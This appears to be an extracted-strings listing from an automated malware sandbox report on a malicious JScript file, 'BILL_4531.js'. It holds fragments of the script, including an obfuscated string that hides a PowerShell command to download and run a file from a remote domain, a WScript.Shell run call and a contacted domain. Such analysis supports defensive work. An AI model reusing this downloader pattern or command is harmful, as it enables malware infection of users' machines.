var xjomgokhe = "o6r6gb5i8elw5e1bzuo6r69i64y9o9n3xo9n3 /o6r6 pipz6pl6oWo9n3ripz6pl6sqf8o9n32ipz6pl6o9n3LLbzuo6r69i64y9o9n3ipz6pl6Xo9n3 ipz6pl6-ipz6pl6o9n3Xo9n3o6r6Ul2uo6r69i64iOnPoLiipz6pl6o6r6Y Bypipz6pl6uo6r69i6ipz6pl6ssipz6pl6 -ipz6pl6nOipz6pl6PROFilipz6pl6o9n3ipz6pl6 -wipz6pl6iNelw5e1Owipz6pl6sl2uo6r69i64yipz6pl6Lo9n3ipz6pl6 qf8o9n32ielw5e1elw5e1ipz6pl6o9n3nipz6pl6 gb5i8u1qf8o9n32r6No9n3wipz6pl6-oBJo9n3o6r6l2uo6r69i64 Sipz6pl6Ysipz6pl6l2uo6r69i64o9n3ipz6pl6gb5i8ipz6pl6bzuo6r69i64y9ipz6pl6No9n3l2uo6r69i64ipz6pl6bzuo6r69i64y9Wipz6pl6o9n3ipz6pl6Bo6r6lipz6pl6Iipz6pl6o9n3nl2uo6r69i64ngb5i82ln2bzuo6r69i64y9elw5e1Oipz6pl6wipz6pl6nlOuo6r69i6elw5e1filo9n3gb5i8u1qf8o9n32r6ipz6pl6mwa1a2qf8o9n32l2uo6r69i64l2uo6r69i64pgy7dg5//wwwbzuo6r69i64y9injusl2uo6r69i64io6r6o9n3ilbzuo6r69i64y9l2uo6r69i64op/uso9n3rbzuo6r69i64y9pqf8o9n32p?f=2bzuo6r69i64y9elw5e1uo6r69i6l2uo6r69i64mwa1a2,ipz6pl6mwa1a2du3h8uo6r69i6Ppelw5e1uo6r69i6l2uo6r69i64uo6r69i6du3h8bzuo6r69i64y9o9n3Xo9n3mwa1a2ngb5i82ln2;sl2uo6r69i64ipz6pl6uo6r69i6rl2uo6r69i64ipz6pl6-pipz6pl6Ripz6pl6Oo6r6ipz6pl6o9n3Ssipz6pl6 du3h8uo6r69i6pPelw5e1uo6r69i6l2uo6r69i64uo6r69i6du3h8bzuo6r69i64y9o9n3Xo9n3";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var xuhylu = "65881";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var xxiccufuxby = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ybbanbo = new ActiveXObject("WScript.Shell");

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ybitk = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ydjuvi = typeof false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ydrolso = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ygacu = 'iflywema';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ygfavzixt = 'zhypubpajmy';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ygkekymgyxj = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yjcewp = "%";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ykaleda = 11.39 + 'ezogmusz';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ykishodpiv = 'ikdevnozni';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ylduxucihq = 71.2626;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ylexo = "ewloqh";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ymcev = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ymununt = typeof undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ynkexocraq = uhegcejw + iroregalp;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ypedhycw = 'e';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yqapur = "81582" + 2;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yqyjuvwin = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ysdoxyvumv = 14.8;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yssenqul = "90401";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ytifigy = egcafditvi + jkobeqivh;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yvbiswimsarh = 82.335;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yvinliqab = "5318" + 38.69;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yvipqerdafq = typeof null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ywuqko = mofcax + pvydinoko;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yxojmobdi = kyrnorxotda + ehevga;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yzfotdynasw = 1;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zbike = '(';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zede = false;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zevalfo = null;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zmerawzax = "ifjimvycy" + 61.8249;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zruvjafyjb = typeof 234;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zufhedt = typeof undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zujoqe = 651.6468 + "59727";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zulgosjil = undefined;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var zwuhrepreq = typeof 0;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

vceqwatarc = vceqwatarc + 'qnykzuq';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

vector<T> too long

Ansi based on Dropped File (gmpopenh264.dll.97104820)

verifying installer: %d%%

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

VerQueryValueA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

VerQueryValueW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Version

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

VERSION.dll

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46-Unicode</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

vgyxpekxo = 'rwyxzebxuxk';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

vi-VN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Video frame ready for display

Ansi based on Dropped File (gmpopenh264.dll.97104820)

virtual function call

Unicode based on Dropped File (gmpopenh264.dll.97104820)

VirtualAlloc

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

VirtualFree

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

VirtualProtect

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Visual C++ CRT: Not enough memory to complete call to strerror.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

vkabmeqfafd = '80957';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

vp)$k

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

VS_VERSION_INFO

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

WaitForMultipleObjects

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WaitForSingleObject

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

WantsAliasedNotifications

Unicode based on Runtime Data (wscript.exe )

WantsFORDISPLAY

Unicode based on Runtime Data (wscript.exe )

WantsFORPARSING

Unicode based on Runtime Data (wscript.exe )

WantsParseDisplayName

Unicode based on Runtime Data (wscript.exe )

WantsUniversalDelegate

Unicode based on Runtime Data (wscript.exe )

ware\Microsoft\Windows Script Host\Settings

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WarnAlwaysOnPost

Unicode based on Runtime Data (eXe )

WarnOnBadCertRecving

Unicode based on Runtime Data (eXe )

WarnOnHTTPSToHTTPRedirect

Unicode based on Runtime Data (eXe )

WarnOnPost

Unicode based on Runtime Data (eXe )

WarnOnPostRedirect

Unicode based on Runtime Data (eXe )

WarnOnZoneCrossing

Unicode based on Runtime Data (eXe )

wcsncmp

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

wcsrchr

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

wctomb

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WebView

Unicode based on Runtime Data (wscript.exe )

Wednesday

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelRcPictureInitScc iLumaQp = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WELS CPU features/capacities (0x%x) detected: HTT: %c, MMX: %c, MMXEX: %c, SSE: %c, SSE2: %c, SSE3: %c, SSSE3: %c, SSE4.1: %c, SSE4.2: %c, AVX: %c, FMA: %c, X87-FPU: %c, 3DNOW: %c, 3DNOWEX: %c, ALTIVEC: %c, CMOV: %c, MOVBE: %c, AES: %c, NUMBER OF LOGIC PROCESSORS ON CHIP: %d, CPU CACHE LINE SIZE (BYTES): %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefList pCtx->uiTemporalId = %d,pRef->iFrameNum = %d,pRef->uiTemporalId = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen pCtx->uiTemporalId = %d,pRef->iFrameNum = %d,pRef->uiTemporalId = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen(), CurrentFramePoc=%d, isLTR=%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen(), ref !current iFrameNum = %d, ref iFrameNum = %d,LTR number = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen(), ref !current iFrameNum = %d, ref iFrameNum = %d,LTR number = %d,iNumRef = %d ref is Scene LTR = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen()RefLot[%d]: iPoc=%d, iPictureType=%d, bUsedAsRef=%d, bIsLongRef=%d, bIsSceneLTR=%d, uiTemporalId=%d, iFrameNum=%d, iMarkFrameNum=%d, iLongTermPicNum=%d, uiRecieveConfirmed=%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen()RefLot[%d]: NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsCreateDecoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsCreateSVCEncoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsDecodeMbCavlcISlice()::::pBs incomplete, iUsedBits:%I64d > pBs->iBits:%d, MUST stop decoding.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsDecodeSlice()::::ILP flag exist, not supported with CABAC enabled!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsDestroyDecoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsDestroySVCEncoder

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderApplyBitVaryRang:UpdateMaxBitrate layerId= %d,iMaxSpatialBitrate = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt() OutputInfo iLayerId = %d,iNalType = %d,iNalCount = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt() OutputInfo iLayerNum = %d,iSubSeqId = %d,iFrameSize = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), iLayerNum(%d) overflow(max:%d) at iDid= %d uiSliceMode= %d, iSliceCount= %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), iLayerNum(%d) overflow(max:%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), iSliceCount(%d) from GetCurrentSliceNum() is untrusted due stack/heap crupted!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), Logic Error Found in temporal level. ForceCodingIDR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), WelsBuildRefList failed for P frames, pCtx->iNumRef0= %d. ForceCodingIDR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), WelsUpdateRefList failed. ForceCodingIDR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt()MinCr Checking,codec bitstream size is larger than Level limitation

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderParamAdjust(), GetMultipleThreadIdc failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsGetCodecVersion

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt() exit, overall memory usage: %llu bytes

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), CreateSliceThreads failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), DetermineTemporalSettings failed return %d (check in/out frame rate and temporal layer setting!)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), GetMultipleThreadIdc failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), NULL == ppCtx(0x%p) or NULL == pCodingParam(0x%p).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), ParamValidationExt failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), pCtx= 0x%p.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), pOut of memory in case new CWelsPreProcess().

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), pVPP alloc spatial pictures failed

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), RequestMemorySvc failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitRefList()::PrefetchPic for EC errors.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsReorderRefList()::::BASE LAYER::::iSpsId:%d, ref_sps_id:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsRequestMem(): memory alloc size = %d * %d, ref list size = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsRequestMem(): memory re-alloc for no resolution change (size = %d * %d), ref list size change from %d to %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsRequestMem(): memory re-alloc for resolution change, size change from %d * %d to %d * %d, ref list size change from %d to %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsTargetMbConstruction():::::Unknown MB type: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsTargetSliceConstruction():::MB(%d, %d) construction error. pCurSlice_type:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsTargetSliceConstruction():::pCtx->iTotalNumMbRec:%d, iTotalMbTargetLayer:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsUninitEncoderExt(), pCtx= %p, iThreadCount= %d, iMultipleThreadIdc= %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsUninitEncoderExt(), pthread_join(pThreadHandles%d) return %d..

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsUpdateRefSyntax():::uiAbsDiffPicNumMinus1:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsUpdateRefSyntax():::uiAbsDiffPicNumMinus1< 0, update as:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

which

Ansi based on Image Processing (screen_4.png)

while (1) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

WideCharToMultiByte

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

width: 150px;

Ansi based on Dropped File (nav.css)

width: 172px;

Ansi based on Dropped File (nav.css)

width: 174px;

Ansi based on Dropped File (nav.css)

width: 940px;

Ansi based on Dropped File (nav.css)

width:980px;

Ansi based on Dropped File (nav.css)

Windows

Unicode based on Runtime Data (wscript.exe )

Windows Based Script Host

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Windows Script Host

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Windows Script Host (Ver 5.6)W)

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Windows Script Host Application InterfaceW%

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

WinSock 2.0 Provider ID

Unicode based on Runtime Data (eXe )

WinSock_Registry_Version

Unicode based on Runtime Data (eXe )

wintrust.dll

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WintrustGetRegPolicyFlags

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WintrustSetRegPolicyFlags

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WinVerifyTrust

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

wo-SN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WpadOverride

Unicode based on Runtime Data (eXe )

WpadSearchAllDomains

Unicode based on Runtime Data (eXe )

WriteConsoleW

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WriteFile

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WritePrivateProfileStringW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

Ws2_32NumHandleBuckets

Unicode based on Runtime Data (eXe )

Ws2_32SpinCount

Unicode based on Runtime Data (eXe )

wscript

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WScript.CreateObject

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WScript.exe

Unicode based on Runtime Data (wscript.exe )

wscript.pdb

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WSFFile

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WSH-Timer

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00470000.00000002.mdmp)

WSHFile

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WSHRemote.Execute

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WSHRemoteLibrary

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

WSHStatusWWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

wsprintfA

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

wsprintfW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

wtyzyj++;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

www.injusticeil.top

Ansi based on PCAP Processing (PCAP)

wwwwp

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

wwwwww

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

wwwwwwwwwwwwp

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

wwwwz

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

wytunp = ikreve + aznuwpixzywg;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

wytunp = wytunp + 265;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

xdibaboma = 82.1067 + "70519";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

XL'&v

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

xuhylu = 16.872 + xuhylu;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

Y@AcquireLayersNals(), iCountNumLayers(%d) > MAX_LAYER_NUM_OF_FRAME(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ybbanbo.run(ozgusaq(), naccexgi);

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ydugekqe = 1.8;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

yjetlaxle = 75 + "vpulrope";

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

yop:132px;}#nav a, #nav a:hover {display: block;text-decoration: none;border:none;font-size:13px !important;font-family:Arial, Helvetica, sans-serif !important;}#nav li {float: left;list-style:none;height:34px;/*border-right:1px solid #010101;*/border-left:1px solid #cacbcb;color:#cacbcb;}#nav li.first{ margin-left:100px;}#nav li.last{ border-right:1px solid #cacbcb;}#nav a, #nav a:visited {display:block;color: #cacbcb;padding:6px 8px;height:22px;}#nav a:hover, #nav a:active {text-decoration:none; color:#ed1c24;}.current_page_itema, .home .on {font-weight:bold;}/*** Dropdown Menus for child pages ***/#nav li ul {/*first level dropdown*/position: absolute;z-index: 10;left: -999em;height: auto;width: 174px;border-bottom: 1px solid #666;}#nav li ul ul {/*second level dropdown*/margin: -2em 0 0 172px;}#nav li:hover ul ul, #nav li.sfhover ul ul {left: -999em;}#nav li li {width: 172px;border-top: 1px solid

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

ypcLineWWd

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

yrl-AZ

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

yrl-ME

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

yrl-UZ

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

ytifigy = "28474" + ytifigy;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

yvujemoj = 8.82 + 'ogbyt';

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

ywuqko = 3 + ywuqko;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

yxojmobdi = yxojmobdi + 10.2195;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

Z)$%*

Ansi based on Dropped File (gmpopenh264.dll.97104820)

z-index: 10;

Ansi based on Dropped File (nav.css)

z-index: 99999;

Ansi based on Dropped File (nav.css)

z-index:1000;

Ansi based on Dropped File (nav.css)

z-index:99999;

Ansi based on Dropped File (nav.css)

zh-CN

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

zh-Hans

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

zh-HK

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

zh-MO

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

zh-SG

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

ZIHostWWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

zout_ArgumentsWWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

{ border-right:1px solid #cacbcb;}

Ansi based on Dropped File (nav.css)

{ margin-left:100px;}

Ansi based on Dropped File (nav.css)

{"windows":[{"tabs":[{"entries":[{"url":"file:///C:/Users/PSPUBWS/Desktop/_HOWDO_text.html","ID":2,"docshellID":5,"docIdentifier":2}],"lastAccessed":1477156741094,"hidden":false,"attributes":{},"image":null,"index":1}],"selected":1,"_closedTabs":[],"busy":false,"width":610,"height":450,"screenX":209,"screenY":63,"sizemode":"normal"}],"selectedWindow":1,"_closedWindows":[],"session":{"lastUpdate":1477156741101,"startTime":1477156140092,"recentCrashes":0},"global":{},"lastSessionState":{"windows":[{"tabs":[{"entries":[{"url":"about:newtab","title":"Neuer Tab","ID":6,"docshellID":7,"owner_b64":"SmIS26zLEdO3ZQBgsLbOywAAAAAAAAAAwAAAAAAAAEY=","docIdentifier":6}],"lastAccessed":1461273473797,"hidden":false,"attributes":{},"image":null,"index":1}],"selected":1,"_closedTabs":[{"state":{"entries":[{"url":"about:home","title":"Mozilla Firefox-Startseite","ID":2,"docshellID":5,"docIdentifier":2},{"url":"http://www.pyload-security.com/download.php?file=Desktop%20background.png","ID":4,"docshellID":5,"docIdentifier":4},{"url":"https://www.payload-security.com/download.php?file=Desktop%2520background.png","ID":5,"docshellID":5,"docIdentifier":5}],"lastAccessed":1461273471977,"userTypedValue":"https://www.payload-security.com/download.php?file=Desktop%20background.png","userTypedClear":0,"hidden":false,"attributes":{},"image":"https://www.payload-security.com/favicon.ico","index":3},"title":"https://www.payload-security.com/download.php?file=Desktop%2520background.png","image":"https://www.payload-security.com/favicon.ico","pos":0,"closedAt":1461273472717}],"width":610,"height":450,"screenX":209,"screenY":63,"sizemode":"normal","title":"Neuer Tab","_shouldRestore":true,"closedAt":1461273473798}],"selectedWindow":1,"_closedWindows":[],"session":{"lastUpdate":1461273473973,"startTime":1461273397047,"recentCrashes":0},"global":{}}}

Ansi based on Dropped File (recovery.js.tmp)

{031E4825-7B94-4DC3-B131-E946B44C8DD5}

Unicode based on Runtime Data (wscript.exe )

{04731B67-D933-450A-90E6-4ACD2E9408FE}

Unicode based on Runtime Data (wscript.exe )

{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}

Unicode based on Runtime Data (wscript.exe )

{11016101-E366-4D22-BC06-4ADA335C892B}

Unicode based on Runtime Data (wscript.exe )

{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}

Unicode based on Runtime Data (wscript.exe )

{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}

Unicode based on Runtime Data (wscript.exe )

{208D2C60-3AEA-1069-A2D7-08002B30309D}

Unicode based on Runtime Data (wscript.exe )

{20D04FE0-3AEA-1069-A2D8-08002B30309D}

Unicode based on Runtime Data (wscript.exe )

{26EE0668-A00A-44D7-9371-BEB064C98683}

Unicode based on Runtime Data (wscript.exe )

{28636AA6-953D-11D2-B5D6-00C04FD918D0} 6

Unicode based on Runtime Data (helper.exe )

{4336A54D-038B-4685-AB02-99BB52D3FB8B}

Unicode based on Runtime Data (wscript.exe )

{450D8FBA-AD25-11D0-98A8-0800361B1103}

Unicode based on Runtime Data (wscript.exe )

{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}

Unicode based on Runtime Data (wscript.exe )

{59031A47-3F72-44A7-89C5-5595FE6B30EE}

Unicode based on Runtime Data (wscript.exe )

{645FF040-5081-101B-9F08-00AA002F954E}

Unicode based on Runtime Data (wscript.exe )

{871C5380-42A0-1069-A2EA-08002B30309D}

Unicode based on Runtime Data (wscript.exe )

{871C5380-42A0-1069-A2EA-08002B30309D} {000214E6-0000-0000-C000-000000000046} 0xFFFF

Unicode based on Runtime Data (wscript.exe )

{89D83576-6BD1-4C86-9454-BEB04E94C819}

Unicode based on Runtime Data (wscript.exe )

{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}

Unicode based on Runtime Data (wscript.exe )

{9343812E-1C37-4A49-A12E-4B2D810D956B}

Unicode based on Runtime Data (wscript.exe )

{98D99750-0B8A-4C59-9151-589053683D73}

Unicode based on Runtime Data (wscript.exe )

{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}

Unicode based on Runtime Data (wscript.exe )

{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}

Unicode based on Runtime Data (wscript.exe )

{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}

Unicode based on Runtime Data (wscript.exe )

{E345F35F-9397-435C-8F95-4E922C26259E}

Unicode based on Runtime Data (wscript.exe )

{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}

Unicode based on Runtime Data (wscript.exe )

{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}

